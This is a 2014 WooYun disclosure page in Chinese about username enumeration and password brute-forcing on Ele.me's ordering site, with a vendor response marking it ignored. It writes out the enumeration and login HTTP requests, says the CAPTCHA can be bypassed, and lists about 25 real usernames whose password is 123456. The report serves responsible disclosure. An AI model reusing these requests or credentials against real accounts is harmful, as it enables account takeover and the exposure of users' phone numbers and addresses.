当前位置：WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号：wooyun-2014-067621

漏洞标题：饿了么在线订餐平台账户密码可爆破

相关厂商：饿了么

漏洞作者： 路人甲

提交时间：2014-07-10 11:03

修复时间：2014-07-15 11:04

公开时间：2014-07-15 11:04

漏洞类型：敏感信息泄露

危害等级：高

自评Rank：15

漏洞状态：漏洞已经通知厂商但是厂商忽略漏洞

漏洞来源： http://www.wooyun.org，如有疑问或需要帮助请联系 [email protected]

Tags标签： 无

4人收藏 收藏
分享漏洞：

漏洞详情

披露状态：

2014-07-10： 细节已通知厂商并且等待厂商处理中
2014-07-15： 厂商已经主动忽略漏洞，细节向公众公开

简要描述：

出门 ，见到处都是此公司的人在街上派单，挺辛苦，那么试试这热火的网络订餐吧
发现，，，，

详细说明：

http://ele.me/ 登录此网
点击注册，试了几个用户名都是已注册用户.....

1-login.jpg


那么按照此思路可试试N次得到些用户名，返回参数代表注册或未注册用户名，用此GET无限制。

GET /api/checkUsername?sf_guard_user%5Busername%5D=wangxiaojian HTTP/1.1


2-lanjie.jpg


继续。。。。

3-baopoUserNAMe.jpg


好吧 ，就这么多，浅尝则止了，已经很多用户名出现了。

漏洞证明：

有了大量的注册用户名，那么简单试一下登录吧，看看，有木有验证码？

4.jpg


没有？ 其实三次就有验证码了，但是形同虚设,,,,,,
拦截用以下注入

POST /login HTTP/1.1
Host: ele.me
Connection: keep-alive
Content-Length: 78
Cache-Control: max-age=0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Origin: https://ele.me
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/35.0.1916.153 Safari/537.36
Content-Type: application/x-www-form-urlencoded
Referer: https://ele.me/login
Accept-Encoding: gzip,deflate,sdch
Accept-Language: zh-CN,zh;q=0.8
signin%5Busername%5D=wangxiaojian&signin%5Bpassword%5D=111111&signin%5Bremember%5D=on


密码错了，就refresh到登录页

5-loginfFF.jpg


密码对了，就到https://ele.me

6.jpg


好了，注入开始，用一些常用的弱口令注入尝试

7.jpg


为证明问题是跑了一会，就停了，已经达到好几位数了。
尝试下登录看看 随机找几个用户：
积分出现了，可以兑换

8-user.jpg


手机电话，住址.....

9.jpg


邮箱，有些就是qq号了

10.jpg


而且，此处设计上，可以发送任意邮箱绑定别人的邮箱。。。绑定新手机也是一样，不用验证原手机？那么是不是积分高可兑换礼品的用户，被破了，账户这样被别人绑走了...
还有，找回密码功能，只用邮箱？不可以用手机？更换手机，在订单中明文显示手机号了，可以绕过，绑定新手机。

1000.jpg


1001.jpg


好吧扯远了...
为证明问题：给出一些用户名吧。密码123456 其余太多不展示了。

wangxian 
baicai 
chaobao
pengjun	
pengqun	
pengsheng	
pengxia	
pengying	
pixuan	
piaoyi	
pinseng	
pingdan	
pingfa	
pingge	
pingyu	
pingzhou	
qianliu	
pingdan 
beiwaipengdan	
pengjia	
qianran
puqian	
puzhen	
qibing	
qiancong	
qianlei


修复方案：

登录加“真正”的验证码限制请求的次数。
还有办法，其实你们的攻城狮比我专业。。。

无恶意，只希望贵公司能对产品修改优化,平台越走越远。
100012.jpg

版权声明：转载请注明来源 路人甲@乌云

漏洞回应

厂商回应：

危害等级：无影响厂商忽略

忽略时间：2014-07-15 11:04

厂商回复：

最新状态：

暂无

漏洞评价：

评论

  1. 2015-03-23 11:43 | smarttang ( 路人 | 还没有发布任何漏洞 | 乌云两个帐号都是我的...t.qq.com/mojige...)

    呵呵！没有影响忽略？

  2. 2015-08-29 22:05 | 闪了 ( 路人 | Rank:6 漏洞数:6 | 微博被封 准备新开 初来乍到 多多指教)

    @smarttang 哈哈